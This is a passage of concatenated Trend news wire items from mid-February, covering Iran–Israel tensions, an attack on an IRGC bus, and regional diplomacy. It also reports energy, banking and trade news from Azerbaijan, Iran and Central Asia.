That is a very bad but possible scenario  after another Israeli attack on an Iran-controlled military facility in Syria, Iran or Hezbollah (but not the apathetic Syrian regime) will strike back, after which an uncontrolled escalation will commence, which can lead to a full-scale war.

Moscow should play a key role in preventing such an apocalyptic scenario, because only Russia has good relations and a certain vote of confidence created with the confronting parties.

Additionally, it has been Russia who claimed with pleasure some time ago that thanks to its efforts, Tehran-controlled military troops were withdrawn to a distance of 100 kilometers from the separation line in southern Syria. That was officially stated by the Assistant to the Secretary of Russias Security Council Alexander Venediktov.

In practice, as Israel claims, Tehran-controlled forces are much closer to Israel's borders.

The armed confrontation may occur directly between Israel and Iran, but most likely, Lebanon can become the scene with Hezbollah as a main player.

Its worthy to note that the same has been recently said by Russian Ambassador to Lebanon Alexander Zasypkin, who warned that US policy in the Middle East region could provoke a new armed conflict between Israel and Lebanon.

In a week, Prime Minister Netanyahu will pay a visit to Moscow. As a result of negotiations with President Putin, it will become clear whether the parties have found a middle ground or a new war is inevitable.Forty-one people, including military personnel, were killed in a suicide attack targeting an Iranian Islamic Revolutionary Guards Corp (IRGC) bus, Trend reported citing Sputnik.

Earlier in the day, the local news agency IRNA reported citing its source that 20 people were killed.

The deadly attack took place in the Chanali area of the Khash-Zahedan road, between the cities of Zahedan and Khash  an area not far from the border with Pakistan, where drug smuggling and military activities are quite frequent.

According to the IRNA's source, the death toll currently stands at 20, while some 20 more have been injured as a result of the attack.

At present, no terrorist group has taken responsibility for the attack.Chief of Staff of Iran's Armed Forces on Wednesday departed Tehran for Moscow to pay an official visit to the neighboring country, Trend reported citing IRNA.

Major-General Mohammad-Hossein Baqeri, heading a high ranking military delegation travelled to Russia to discuss issues of mutual interest with the Russian officials, in particular his Russian counterpart.

The visit is taking place upon an official invitation from the Russian Defense Minister Sergey Shoygu.

Bilateral military cooperation and fighting terrorism are expected to be the main topic of the Iranian commander discussions with the Russian officials.

Baqeri will also attend the Russia-Turkey-Iran summit on Syria, scheduled to be held on February 14 in Sochi city of the Black Sea.

The day-long Sochi Summit in Russia on Thursday is to concentrate on the joint counter-terrorism measures in the region, the restoration of tranquility, the return of the refugees and the settlement of political stability in Syria and cooperation in reconstructing the crisis-stricken country.

Iranian President Hassan Rouhani is expected to leave for Russia on Thursday to attend the Sochi Summit.Iran's Foreign Minister Mohammad Javad Zarif said that the anti-Iran meeting in the Polish capital Warsaw is "doomed to fail," Trend reported citing Xinhua.

"This is another attempt by the United States to pursue its policies vis-a-vis Iran, which has not been forged properly," Zarif was quoted as saying.

"In my eyes, Warsaw meeting is doomed to fail from the very start," he said. "I think they would not be able to issue a joint statement."

The two-day Middle East Security Meeting, co-hosted by the United States and Poland, opened in Warsaw on Wednesday to discuss the Middle East political situation and the role of major players, including Iran, in regional developments.Baku, Azerbaijan, Feb. 13

By Elnur Baghishov  Trend:

If the Iranian people surrender to the US in the first step, they must surrender to the end, Iranian President Hassan Rouhani said today at a meeting of the Cabinet of Ministers, Trend reports referring to Tasnim News Agency.

According to Rouhani, should Iran surrender, it must give up its glory, authority and identity.

He added that the imposed sanctions have been putting pressure on the Iranian people.

"If there is (an economic) war, there will definitely be someone injured," he said.

The Iranian president said that everyone should unite in the economic war and not stay on the sidelines.

"The government stands at the frontline of the battle," he said.Baku, Azerbaijan, Feb. 13

By Elnur Baghishov  Trend:

Iran had higher expectations from the EU, Faryal Mostowfi, member of the Tehran Chamber of Commerce, Industries, Mines and Agriculture, told ISNA, Trend reports.

Mostowfi said that, after 9 months of negotiations, the expectations on the EU's step on securing economic exchanges with Iran turned out to be unfulfilled, also saying that INSTEX (Instrument in Support of Trade Exchanges), the financial mechanism of the EU, is primarily meant as a tool for propaganda and politics.

"Because the European Union shows that it is committed to protecting and maintaining the nuclear deal [Joint Comprehensive Plan of Action] with Iran," he said.

Mostowfi continued that, although the nuclear agreement is important for Europe, what is now being provided (in INSTEX) is, by and large, more limited than what the Iranian side has in mind.

Commenting on conditions, such as Iran's joining FATF (Financial Action Task Force) in connection with INSTEX, Mostowfi added that Iran should join this international convention.

According to Mostowfi, Iran hopes that, at the very least, there will be no shortage in terms of medicine supplies by the EU.Ashgabat, Turkmenistan, Feb. 13

By Huseyn Hasanov  Trend:

During the next meeting of the OSCE Security Committee, the delegation of Turkmenistan outlined the countrys priorities in the field of security, Trend reports with reference to the Turkmen Foreign Ministry.

It was noted that Turkmenistan is strictly guided by the principles of neutrality, non-intervention, adherence to peaceful, political means of resolving conflicts and contradictions.

Turkmenistan considers further joint efforts of states in the field of disarmament, non-proliferation of weapons of mass destruction, the fight against terrorism, extremism, drug trafficking to be priority areas in the international communitys activities, the report said.

The meeting participants were also informed about the cooperation of Turkmenistan with the the Counter-Terrorism Implementation Task Force (CTITF), the United Nations Regional Centre for Preventive Diplomacy for Central Asia (UNRCCA), the EU, the OSCE and its field mission in Ashgabat.

On Dec. 12, 1995, the UN General Assembly adopted the resolution Permanent Neutrality of Turkmenistan.Ashgabat, Turkmenistan, Feb. 13

By Huseyn Hasanov  Trend:

A meeting of the organizing committee for the first Caspian Economic Forum was held in Turkmenistans Ashgabat, Trend reports referring to a statement made by the Turkmen government.

The relevant report was submitted to the President of Turkmenistan Gurbanguly Berdimuhamedov. The head of state pointed out that topics such as the intensification of trade and economic relations, including forming conditions for the development and implementation of major investment projects in various fields, should be discussed during the event, the Turkmen Dovlet Habarlary (TDH) state agency reports.

"The upcoming First Caspian Economic Forum is one of the starting events of a strategic nature in the recent history of relations between our countries, based on the ratification of an important international legal document - the Convention on the Legal Status of the Caspian Sea, signed on August 12, 2018 following the Fifth Summit of the Heads of the Caspian States in Aktau," said the report.

The coordination center for the preparation and holding of the Caspian Economic Forum is also working on programs for holding international conferences, as well as the Caspian Exhibition of Innovative Technologies.Baku, Azerbaijan, Feb. 13

By Azad Hasanli - Trend:

Implementation of the business strategy of the International Bank of Azerbaijan (IBA) will begin this year, executive director of the State Oil Fund of Azerbaijan (SOFAZ), Chairman of the IBA Supervisory Board Shahmar Movsumov told Trend Feb. 13.

He said that the preparation of the business strategy is underway with the involvement of an international consulting company.

The International Bank of Azerbaijan, founded in 1992, is at the stage of recovery since July 2015, which is associated with the preparation for the privatization of state-owned shares of the bank. To restore the bank's financial position, its distressed assets were transferred to the non-bank credit institution Aqrarkredit.

In exchange for distressed assets, the NBCO provides the IBA with liquid funds. At the same time, the restructuring of IBA's foreign obligations has recently been completed. Over 95 percent of the Bank's shares are owned by the government.

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Follow the author on Twitter: @Hasanli_AzadBaku, Azerbaijan, Feb. 13

Trend:

A mission of the International Monetary Fund will be in the Uzbek Central Bank until February 15, Trend reports with reference to the press service of the Central Bank.

IMF experts will provide technical assistance to the Central Bank to improve operations in the money and foreign exchange markets.

They will also study the liquidity of the banking system and develop methods for determining the optimal percentage corridor.

The IMF said in November that inflationary pressure on the Uzbek economy in 2019 could increase and the consumer price index in the country can reach 17-18 percent due to the rising energy prices, rising social sector wages and taxes.Baku, Azerbaijan, Feb. 13

Trend:

In 2018, banks in Azerbaijan issued loans worth 7.6 billion manats, 4.3 billion of which were expended for business lending, Asim Zulfugarov, Deputy Chairman of the Board of the Chamber of Financial Market Supervision, said at the Using financing opportunities to secure movable property conference, Trend reports.

As noted by Zulfugarov, crediting in the country largely went up by 11 percent, and credits to businesses by 7.2 percent.

"Loans in the national currency amounted to approximately 70 percent," added Zulfugarov.

Citing the results of international studies, he noted that the formation of a national movable property register contributes to the development of the economy and expanding access to financial resources.

"For example, the experience of seven European countries shows that the formation of a registry contributed to an average lending growth rate of 8 percent. We are confident that forming a registry, accompanied with credit growth, ultimately contributes to economic development," said Zulfugarov.

Zulfugarov added that large international structures, such as the State Secretariat for Economic Cooperation of Switzerland (SECO) and the International Finance Corporation (IFC), assisted in the study of international experience to create a register of moving assets.

"Currently, the registry contains information on over 36,000 objects of movable property, including agricultural and consumer goods, among others," Zulfugarov said.

A three-day conference titled Using financing opportunities to secure movable property began in Baku on Wednesday. The event is attended by representatives of the Financial Market Supervisory Authority, IFC, and SECO, along with experts and representatives of the private sector.Baku, Azerbaijan, February 13

Trend:

Uzbekistan plans to place debut eurobonds denominated in US dollars on February 13, Trend reports with reference to materials for investors.

The issuer focuses on placing two tranches of securities for 5 and 10 years. Investors previously expressed interest in buying eurobonds by more than $ 1.5 billion.

Uzbekistan held meetings with investors in New York, Boston and London on the possible placement of eurobonds from February 7 to 12.

J.P. Morgan, Citibank and Gazprombank will be the organizers.

Uzbek President Shavkat Mirziyoyev issued a decree on December last year which states that Uzbekistan will place sovereign bonds worth at least $500 million in 2019.Baku, Azerbaijan, Feb.13

By Leman Zeynalova  Trend:

OPEC crude output was 930,000 barrels per day (b/d) lower in January at 30.83 million barrels per day (mb/d), a near four-year low, Trend reports citing the Oil Market Report released by the International Energy Agency (IEA).

Compliance with the Vienna Agreement was 86 percent, with Saudi Arabia, the United Arab Emirates (UAE) and Kuwait cutting by more than promised, reads the report.

This is while compliance by non-OPEC participants was only 25 percent, says IEA.

Global supply fell 1.4 mb/d to 99.7 mb/d in January as the Vienna Agreement and Alberta's cuts took effect, reads the report.

Our non-OPEC growth estimates have increased to 2.7 mb/d in 2018 and to 1.8 mb/d in 2019. This is mainly due to higher US output, said IEA.

So far, IEA believes there are no signs that other producers, e.g. Saudi Arabia, are intending to push more barrels into the market to offset shortfalls.

Oil prices have not increased alarmingly because the market is still working off the surpluses built up in the second half of 2018, when global supply is estimated to have exceeded demand by 1.3 mb/d. In quantity terms, in 2019 the US alone will grow its crude oil production by more than Venezuela's current output. In quality terms, it is more complicated.

On December 7, 2018, an agreement was reached at the fifth ministerial meeting of the non-OPEC member and non-OPEC countries in Vienna to cut daily oil production by 1.2 million barrels.

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Follow the author on Twitter: @Lyaman_ZeynBaku, Azerbaijan, Feb.13

By Leman Zeynalova  Trend:

The Greek Minister of Environment and Energy Giorgos Stathakis granted the Interconnector Greece-Bulgaria (IGB Project) Installation Permit on the territory of the Hellenic Republic, ICGB AD (project company) told Trend.

The decision was made on Feb.7, said the company.

ThIs key permit is an important milestone, following the already issued Installation Act for the territory of the Hellenic Republic and the corresponding construction permit that was issued in Bulgaria in September 2017. This decision, together with the acquisition of the main land plots in the area of Komotini, is a precondition for the successful start of the IGBs construction on the territory of the Hellenic Republic, said ICGB AD.

The Independent Natural Gas System license (INGS license), which is expected to be issued by the Greek Regulator RAE in the second quarter of 2019, constitutes the last permitting step before the start of construction works, the company.

IGB is a gas pipeline, which will allow Bulgaria to receive Azerbaijani gas, in particular, the gas produced from Azerbaijan's Shah Deniz 2 gas and condensate field. IGB is expected to be connected to TAP via which gas from the Shah Deniz field will be delivered to the European markets.

The initial capacity of IGB will be 3 billion cubic meters of gas.

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Follow the author on Twitter: @Lyaman_ZeynAshgabat, Turkmenistan, Feb. 13

By Huseyn Hasanov  Trend:

In accordance with the Program of Social and Economic Development of Turkmenistan for 2018-2024, there are plans to increase the total amount of electricity produced in the country in the next seven years to 33 billion kilowatt-hours, Trend reports with reference to the Turkmenistan State News Agency.

Capacity building of the industry will further increase the exports of Turkmen electricity, primarily to Afghanistan.

The Imamnazar-Andkhoy, Serhetabat-Herat and Rabatkashan-Kalainau transmission lines already operate in this direction. The governments of Turkmenistan and Afghanistan signed memorandums of intent on the construction of transmission lines on the Kerki-Khamyap-Garkin route and the agreement on the project of the Turkmenistan-Afghanistan-Pakistan (TAP) power line.

In particular, the last document defines the volumes of electricity that will be supplied to Afghanistan via a new power transmission line - 300 megawatts to Herat and Kandahar each (a total of 600 megawatts). In the future, there are plans to increase them to 1,000 megawatts.

Last year, an agreement was signed with the Asian Development Bank (ADB) concerning the financing of the construction of domestic power lines in the Ahal-Balkan and Balkan-Dashoguz direction.

In this regard, it should be emphasized that the active connection of Turkmenistan to the single Central Asian energy system plays an important role in creating additional opportunities for significant increase in the volumes of Turkmen electricity supplies within the Turkmenistan-Uzbekistan-Tajikistan-Afghanistan-Pakistan (TUTAP) international project, the report said.Baku, Azerbaijan, Feb.13

By Leman Zeynalova  Trend:

SOCAR Absheron, a joint venture of Azerbaijans state oil company SOCAR and French Total hasnt been liquidated, Public Relations Head at Azerbaijans state oil company SOCAR Ibrahim Ahmadov told Trend.

This enterprise per se has not been liquidated. Here we can talk about changing the companys place of registration, he said.

Ahmadov noted that the purpose of this procedure is to optimize and increase the effectiveness of interactions with foreign partners, since SOCAR Absheron, in particular, represents the interests of the company under the production sharing agreement on the Absheron field.

He said that the first well is being drilled at Absheron field since last year with the help of SOCARs Heydar Aliyev semi-submersible drilling rig. "Weve gone as deep as 7200 meters already, planning to finish that drilling soon. The field is operated by JOCAP, a 50/50 joint venture of SOCAR and Total."

The newspaper of the Ministry of Taxes said on Feb.12 that SOCAR Absheron has announced about its liquidation.

Lenders can make their claims within two months, said the newspaper.

SOCAR Absheron was established in April last year to develop the Absheron field.

SOCAR and Total signed a framework agreement in 2016 on the main contractual and commercial principles regulating the first phase of development of the Absheron field.

The first phase of the fields development envisaged drilling one well at a sea depth of 450 meters. The production will stand at 1.5 billion cubic meters of gas and 700,000 tons of condensate per year and these volumes will be used in Azerbaijans domestic market. It is planned to produce up to 4 billion cubic meters of gas at the second stage.

Absherons reserves are estimated at 326 billion cubic meters of gas and 108 million tons of condensate, according to estimations of the Total specialists.

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Follow the author on Twitter: @Lyaman_ZeynBaku, Azerbaijan, Feb. 13

By Sara Israfilbayova - Trend:

Ensuring transparency in Azerbaijans extractive industry is very important, Executive Director of the State Oil Fund of Azerbaijan (SOFAZ) Shahmar Movsumov said, Trend reports Feb. 13.

He was speaking at the conference Support for the Implementation of Roadmap for Disclosing Information on Beneficial Law in the Extractive Industries of Azerbaijan.

Publishing information about beneficiaries, individuals who control companies and legal entities [in the extractive industry] helps to avoid illegal circulation of money, development of the shadow economy, etc., Movsumov said.

He noted that the trend towards transparency in the extractive industries is increasing in the world and Azerbaijan has also joined this initiative.

He also stressed the role of the Asian Development Bank (ADB), noting that the support of such a prestigious financial institution is very significant.

The ADB attracted both local and international consultants and experts, who have already submitted three reports so far, Movsumov said.

Extractive Industries Transparency Commission was created after Azerbaijan in March 2017 announced its leaving the Extractive Industries Transparency Initiative (EITI).

Azerbaijani President Ilham Aliyev signed a decree on additional measures in early April 2017 in connection with an increase in reporting and transparency in the extractive industry, the main item of which was the establishment of the Extractive Industries Transparency Commission.Baku, Azerbaijan, Feb.13

By Leman Zeynalova  Trend:

The overall impact of the US anti-OPEC bill can be huge, and is politically and not economically motivated, Cyril Widdershoven, a Middle East geopolitical specialist and energy analyst, a partner at Dutch risk consultancy VEROCY and SVP MEA-Risk, told Trend.

Widdershoven noted that when looking at the current oil situation on the market, OPEC is behaving very positively for US consumers and producers, as there are still lower prices and stability in the market.

To now put legislation in place that will threaten the immunity of OPEC as a sovereign entity however could change the whole picture, the expert believes.

"US court case will for sure be met by extreme high repercussions by the so-called cartel members, especially by Saudi Arabia, UAE or Iraq. Iran is out of all, as this is also in the sanctions. By putting threats in court oil producing countries will be faced by immense fines or possible blockage to operate in US. This will not be taken lightly by all," said Widdershoven.

He said a potential outcome of this could be that OPEC producers, Saudi Arabia and UAE will cut export volumes to US to a minimum.

"OPEC could also try to hit back on the USA, particularly by putting more oil on the market, which would lower the price and hurt the 10s of 1000s of shale oil companies currently providing energy security or wealth in the US. Part of them are voters for Trump so this could be a boomerang," noted the expert.

A legal threat already could force OPEC producers to further cozy up to Russia, and look for more in-depth geopolitical, military and economic relations with non-US friends in Asia, according to Widdershoven.

"Be clear about the fact that a US court order blocking assets and operations of OPEC producers will have a detrimental effect on US oil, gas and other companies operating in these countries. Possible blockage or appropriation would be considered," he concluded.

US House of Representatives committee approved a bill on Feb.7 that would open up the Organization of the Petroleum Exporting Countries to antitrust lawsuits.

The House Judiciary Committee passed the bipartisan bill, known as the No Oil Producing and Exporting Cartels Act, or NOPEC, on a voice vote.

The legislation would change U.S. antitrust law to revoke the sovereign immunity that has long protected OPEC members from U.S. lawsuits. It allows the U.S. attorney general to sue the oil producers group or any of its members on grounds of collusion.

Versions of the bill have appeared without success in Congress for the past 20 years. The committee also approved a version of the bill last year by voice vote, but it never reached the full House for a vote.

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Follow the author on Twitter: @Lyaman_ZeynBaku, Azerbaijan, Feb.13

By Leman Zeynalova  Trend:

Azerbaijans Southern Gas Corridor closed joint stock company (CJSC) plans to invest around $900 million in the relevant segments of the Southern Gas Corridor in 2019, Azerbaijans state oil company SOCAR told Trend.

The company said that in accordance with the financial obligations, the Southern Gas Corridor CJSC has invested a total of $9.6 billion in the projects as of 2018.

This is while the companys investments in the projects in 2018 neared $1 billion, said SOCAR.

The Southern Gas Corridor is one of the priority projects for the EU and envisages the transportation of 10 billion cubic meters of Azerbaijani gas from the Caspian region through Georgia and Turkey to Europe.

The launching ceremony of the first stage of the Southern Gas Corridor was held in Baku on May 29, 2018, while opening ceremony of TANAP was held on June 12, 2018 in the Turkish city of Eskisehir.

The gas from the Azerbaijani Shah Deniz field has already gone through the first segment of the Southern Gas Corridor - from the Sangachal terminal to the expanded South Caucasus Pipeline.

Trans-Adriatic Pipeline (TAP) and Trans-Anatolian Natural Gas Pipeline (TANAP) have been recently connected on the Turkish-Greek border.

---

Follow the author on Twitter: @Lyaman_ZeynBaku, Azerbaijan, Feb. 13

Trend:

Azerbaijani Minister of Economy Shahin Mustafayev met with Director General of Russias KAMAZ OJSC Sergey Kogogin, the Azerbaijani Ministry of Economy told Trend.

Mustafayev stressed that the two countries are cooperating well in all areas and the expansion of ties testifies to the political will of the Azerbaijani and Russian presidents.

Mustafayev stressed that during Russian Minister of Economic Development Maxim Oreshkins visit to Azerbaijan several days ago, the foundation of GAZ automobile plant was laid in the Hajigabul Industrial Site, which is a joint project of Azermash company and the Russian GAZ group of companies.

The discussions were also held in connection with the possible cooperation between the Ganja Automobile Plant and the Russian Kamaz and Ural plants, he said.

An agreement was signed between KAMAZ OJSC and the Ganja Automobile Plant in February 2015. According to the agreement, Kamaz cars are assembled at the Ganja Automobile Plant.

Kogogin said that presently, Kamaz cars are produced in more than 80 countries and more than 40 Kamaz service centers operate in the CIS countries.

Stressing the attractiveness of the Azerbaijani market, Kogogin said that Kamaz OJSC is considering the possibility of producing agricultural equipment in Azerbaijan. Moreover, the regional service centers may be created for the new generation of Kamaz vehicles in Baku and the regions.

The possibilities of expanding cooperation, organizing the production of a number of spare parts in Azerbaijan were discussed during the meeting.Baku, Azerbaijan, Feb. 13

By Rashid Shirinov  Trend:

Kazakhstans Kyzylorda region will start exporting rice to Iran this year, Trend reports via the press service of the regions administration.

"Last year, along with traditional varieties, production of Iranian varieties was launched in the region for further export to Iran. Currently, negotiations are underway to send the first batch of 500 tons of Iranian rice varieties," the administration said.

It was also noted that despite the lack of water, Kyzylorda rice farmers reaped a good harvest of 473,000 tons in 2018.

Last year, rice sown area in the Kyzylorda region was reduced by 3,000 hectares, and oilseeds, in particular safflower sown area was increased from 1,659 hectares in 2013 to 8,404 hectares in 2018. This made it possible to organize the production of safflower oil and for the first time to enter the Chinese market with this product in 2018.

Since last year, the region has also begun work on the introduction of high-yielding crops such as soybeans, and forage crops such as Sudan grass and sweet sorghum.

This year, it is planned to reduce rice sown area by 2,171 hectares and increase forage sown area by 4,068 hectares and acreage of potatoes, vegetables and melons by 1,293 hectares.

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Follow the author on Twitter: @ShirinovRashidBaku, Azerbaijan, Feb. 13

By Sara Israfilbayova  Trend:

Czech companies are ready to take part in the expansion of the Baku public transport system, Milan Ekert, Czech Ambassador to Azerbaijan, said at a news conference in Baku, Trend reports.

According to the ambassador, both ground transportation and the subway are included. Ekert also added that many of the Czech companies are ready to consider organizing joint production with Azerbaijani partners.

"There are some examples of such projects. One can mention the production of Tatra trucks at the Ganja Automobile Plant, the participation of the Moravia Steel a.s. company in the reconstruction of the Azerbaijani section of the North-South railway corridor," Ekert said.

Also, the ambassador continued, there are projects of cooperation in the field of defense, including the modernizing the fleet of Azerbaijans Czech-produced L-39 training aircraft.

Speaking about the Azerbaijani-Czech cooperation in 2018, the ambassador noted that, in terms of Azerbaijani-Czech bilateral relations, the past year can be called a year of the emergence of new dynamics, forming a basis for strengthening the strategic partnership between the countries.

The ambassador remarked that the trade turnover between Azerbaijan and the Czech Republic grew by 12 percent and reached 1.1 billion euros in 2018, with Azerbaijani exports to the Czech Republic growing by 15 percent and exceeding 1 billion euros. On the other hand, as noted by Ekert, the number of products exported from the Czech Republic to Azerbaijan dropped by 19 percent, making up 63 million euros.

"Thus, attracting Czech companies to enter the Azerbaijani market is one of the priorities of the Czech Embassy in Baku for the coming year," said the Czech ambassador.Baku, Azerbaijan, February 13

Trend:

Members of the Malaysian International Trade Association (SMITA) intend to visit Namangan region in February to discuss the implementation of two investment projects - the construction of a livestock complex and a hotel, Trend reports with reference to the press service of Uzbek Ministry of Foreign Affairs.

The meeting with SMITA President Megane Soo took place at the Uzbek embassy in Malaysia where parties discussed the development of mutually beneficial trade, economic and investment cooperation.

"Megane Soo gave a high assessment of the ongoing reforms in Uzbekistan to liberalize the economy and improve the business climate and expressed great interest in further strengthening and expanding cooperation with Uzbekistan, including through the organization of joint production in leading sectors of the economy and export supplies to Malaysia", the publication says.

The main objective of SMITA is to support the members of the Association in finding new partners abroad.Baku, Azerbaijan, Feb. 13

By Matanat Nasibova  Trend:

Azerbaijans Akkord Industry Construction Investment Corporation has laid big diameter reinforced concrete pipes as part of the project of constructing a new glass factory in Azerbaijan, leading specialist of the corporation Rauf Azizov told Trend.

The corporation produces metal structures and is currently involved in the construction of the factory, he said.

"We have built a 68-meter metal structure and are now involved in the construction of the factory, Azizov said. AzerFloat company, a resident of the Sumgait Chemical Industrial Park, and the German company Horn Glass Industries AG are also involved in the project."

The new glass factory is expected to be built by the end of 2019, he said.

Presently, Akkord Corporation holds the leading position in the implementation of projects for the construction of bridges, tunnels and other road projects, in the construction of residential houses and other public buildings, as well as in the production of building materials.

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Follow the author on Twitter: @MatanatNasibovaBaku, Azerbaijan, Feb. 13

By Elnur Baghishov - Trend:

Iran may increase exports of dates to $1 billion based on its current potential, said Mohsen Rashid Farrokhi, chairman of National Association of Iranian Dates, Trend reports via IRNA.

He said that Iran currently exports dates worth $300 million.

He added that Irans First International Exhibition of Date, Processing and Related Industries in Shiraz city may help attract foreign investments.

The current growth observed in the production of dates is the result of cooperation of public and private sectors, he said.

Irans First International Exhibition of Date, Processing and Related Industries started its work Feb. 12 and will last until Feb. 16.Baku, Azerbaijan, Feb. 13

By Matanat Nasibova  Trend:

The TITAN GROUP company, a major manufacturer of industrial goods in Azerbaijan, plans to start exporting sandwich panels filled with polyisocyanurate foam (PIR), Vice-President of the company Zemfira Ismayilova told Trend Feb. 13.

She said that there are plans to begin export supplies approximately in the second half of this year.

We consider Georgia as a potential market for selling our products, she noted. Firstly, there is a demand for such products, and secondly, deliveries to Georgia are profitable, taking into account transport and logistics costs and other overhead costs.

She noted that the company is the only one in Azerbaijan that produces fire-resistant PIR sandwich panels, which are used for the construction of residential buildings, walls, roofs, etc.

TITAN GROUP, in addition to producing a new type of sandwich panels filled with PIR, is a manufacturer of refrigeration equipment for commercial and industrial facilities in Azerbaijan, as well as industrial, heating and refrigeration equipment for catering facilities, she added.

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Follow the author on Twitter: @MatanatNasibovaBaku, Azerbaijan, Feb. 13

By Rashid Shirinov  Trend:

In Kazakhstan, total investments in fixed assets in January 2019 amounted to 644.5 billion tenge, which is 2.5 percent less than in the same month of 2018, Trend reports via Kazakh media.

According to the Statistics Committee of the Kazakh National Economy Ministry, the predominant sources of investment in the reporting period were own funds of economic entities, the volume of which amounted to 604.2 billion tenge.

In January, there was an increase of 6.4 percent in investments in the purchase of machinery, equipment, vehicles, and their overhaul.

A significant share of investments in fixed assets accounted for mining and quarrying (56.1 percent), real estate operations (11.7 percent) and transport and warehousing (8.7 percent).

The volume of investments of large enterprises amounted to 449.7 billion tenge.

(374.81 KZT = 1 USD on Feb. 13)

---

Follow the author on Twitter: @ShirinovRashidAshgabat, Turkmenistan, Feb. 13

By Huseyn Hasanov  Trend:

President of Turkmenistan Gurbanguly Berdimuhamedov demanded that the State Customs Service conduct more thorough inspection of products imported into the country, Trend reports with reference to the local Altyn Asyr TV channel.

This issue was raised at the recent meeting of the State Security Council. The president stressed that considering the growth of foreign economic activity and the increase in international freight traffic, it is necessary to ensure more thorough inspection of products imported into the country and fully comply with the established quality standards, the report said.

Ashgabat considers it a priority to develop the large-scale North-South and East-West transport corridors, increase the capabilities of the Central Asia-Persian Gulf communication network and to develop transport links in the Caspian-Black Sea region.

These projects cover the expansion of transport and communication ties between the countries of Central Asia with their further access to the markets of Europe, Southeast Asia, the Near and Middle East.Baku, Azerbaijan, Feb. 13

By Sara Israfilbayova - Trend:

Companies in Azerbaijan often dont want to disclose the names of their owners, but such problems wont arise over time, said Azerbaijani Deputy Minister for Taxes Sahib Alakbarov, Trend reports.

He was speaking at the conference Support for the Implementation of Roadmap for Disclosing Information on Beneficial Law in the Extractive Industries of Azerbaijan.

Alakbarov noted that the disclosure of information about owners is very important for the countrys tax authorities.

The same conditions are created for everyone in Azerbaijan and there is healthy competition, so there is no point in concealing owners or companies turnover, the deputy minister said.

He stressed that one of the main tasks assigned to state structures by President of Azerbaijan Ilham Aliyev is to reduce the share of the shadow economy, adding that this initiative will help ensure transparency.Baku, Azerbaijan, Feb. 13

By Rufiz Hafizoglu  Trend:

Turkish Airlines (THY) has suspended flights to Brussels, Belgium, Trend reports citing Turkish media.

The suspension of flights is due to a general strike in Belgium, which several airport employees, among others, are also taking part in.

It is reported that the flights will be suspended only on February 13.

Belgiums Skeyes company, which manages the movement of aircraft in the Belgian airspace, stated earlier that all airports in the country will cease receiving and sending aircraft on Wednesday.Baku, Azerbaijan, Feb. 13

By Elnur Baghishov - Trend:

Iran imported 2,000 head of sheep from Romania on Feb. 12, said Hamid Varnaseri, managing director of the State Livestock Affairs Logistics (SLAL) Inc. affiliated with the Iranian Ministry of Agriculture, Trend reports via IRIB.

He added that the sheep will be slaughtered soon in the slaughterhouses and sold in accordance with the adjusted market prices.

He said that imports of 50,000 head of livestock per week are expected, adding that the imports will continue until the meat prices stabilize in the Iranian market.

Recently, the price of mutton in the Iranian market has risen significantly. Thus, the price of 1 kg of mutton varies within 1-1.2 million rials (about $23.8-$28.5).Ashgabat, Turkmenistan, Feb. 13

By Huseyn Hasanov  Trend:

The Turkmen-German business forum is being held in Berlin on February 12-13, Trend reports referring to a source in the Union of Industrialists and Entrepreneurs of Turkmenistan.

The memorandums of mutual cooperation in the supply of agricultural equipment, the rational use of land and water resources, the training of specialists in the water sector and in other areas are planned to be signed on the sidelines of the event.

The purchase of agricultural equipment and the exchange of best practices between specialists of the Turkmen and German corresponding structures are designed to promote the further development of the domestic agro-industrial complex.

Cotton and wheat are strategic agricultural crops. The German companies make a significant contribution to the implementation of long-term projects in Turkmenistan. Among them are such companies as Siemens, Daimler, Claas, Dresser-Rand.Tehran, Iran, Feb. 13

Trend:

The Australian ambassador to Iran announced that Australia is supporting the nuclear deal since the agreement is accepted by the UN Security Council.

"After the implementation of JCPOA, Australia, like many other countries in the world, was very pleased for lifting the sanctions on Iran, and at the same time, we saw both the qualitative and quantitative expansion of the two countries' trade relations," the Australian ambassador to Iran, Ian Biggs said, Trend reports citing ILNA.

The diplomat said that Australia's position was to support Iran's nuclear deal since the agreement was accepted by the UN Security Council. "Although there are currently some difficulties, the Australian Government has been seriously looking for innovative solutions for maintaining trade with Iran."

Referring to the launch of INSTEX by E3, he says, "We do not have much detail about this mechanism now, because this is a matter for these European countries and should be announced by them, but anyway, we hope that economic relations between Tehran and Canberra will continue."

"A trade commission of Iran and Australia has recently been formed and experts from Australia have come to Tehran," he announced.

"We are waiting for positive changes for cooperation," the Australian ambassador said.

On Jan. 31, three European countries  France, Germany and the UK (shortened as E3)  officially announced the creation of the Instrument in Support of Trade Exchanges (INSTEX), a special purpose vehicle, to allow them bypass US sanctions on trade with Iran. INSTEX facilitates non-dollar trade with Iran, allowing European companies to trade with the Islamic Republic without being hit by the sanctions.Baku, Azerbaijan, Feb. 13

By Rashid Shirinov  Trend:

The agriculture ministries of Kazakhstan, Russia and Iran have signed a memorandum of understanding on cooperation in wheat trade, Trend reports via Kazakh media.

The memorandum was signed by Deputy Agriculture Minister of Kazakhstan Gulmira Isayeva, Deputy Agriculture Minister of Iran Ali Akbar Mehrfard and Deputy Agriculture Minister of Russia Sergey Levin.

Minister of Trade of the Eurasian Economic Commission Veronika Nikishina was also present at the event.

Isayeva noted that the memorandum is an integral part of the free trade zone agreement signed last year between the EEU member states and Iran.

"The supply of Kazakh wheat can reach from 500,000 to one million tons during a year. Last year was very successful for Kazakhstan, the country exported 11.7 million tons of grain. The task is to further expand the sales market. Therefore, the Iranian market is very interesting for us," she said.

It should be noted that Iran itself meets its domestic demand for wheat, but the country is interested in importing Kazakh and Russian wheat for further processing and export to the neighboring countries. This market accounts for more than 70 percent of global flour consumption.

"I think that the signing of the memorandum will lead to more dynamic development of relations and growth of trade turnover between our countries. We will continue to reinforce and strengthen logistics and industrial cooperation," said Deputy Agriculture Minister of Iran Ali Akbar Mehrfard.

According to the signed memorandum, Iran will facilitate the freedom of transit of Kazakh and Russian wheat through its territory, will support the import of wheat under swap contracts, including on issues of exempting from bans and other restrictions of Kazakh and Russian wheat temporarily imported into Iran for further processing and export.

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Follow the author on Twitter: @ShirinovRashidBaku, Azerbaijan, Feb. 13

By Elnur Baghishov  Trend:

Iranian exports to Russia have increased by 36 percent in 2018, when compared to the figures from 2017, said Farhad Parand, commercial attache at Iran's embassy in Russia, Trend reports referring to the information portal of Iran's Trade Promotion Organization (TPO).

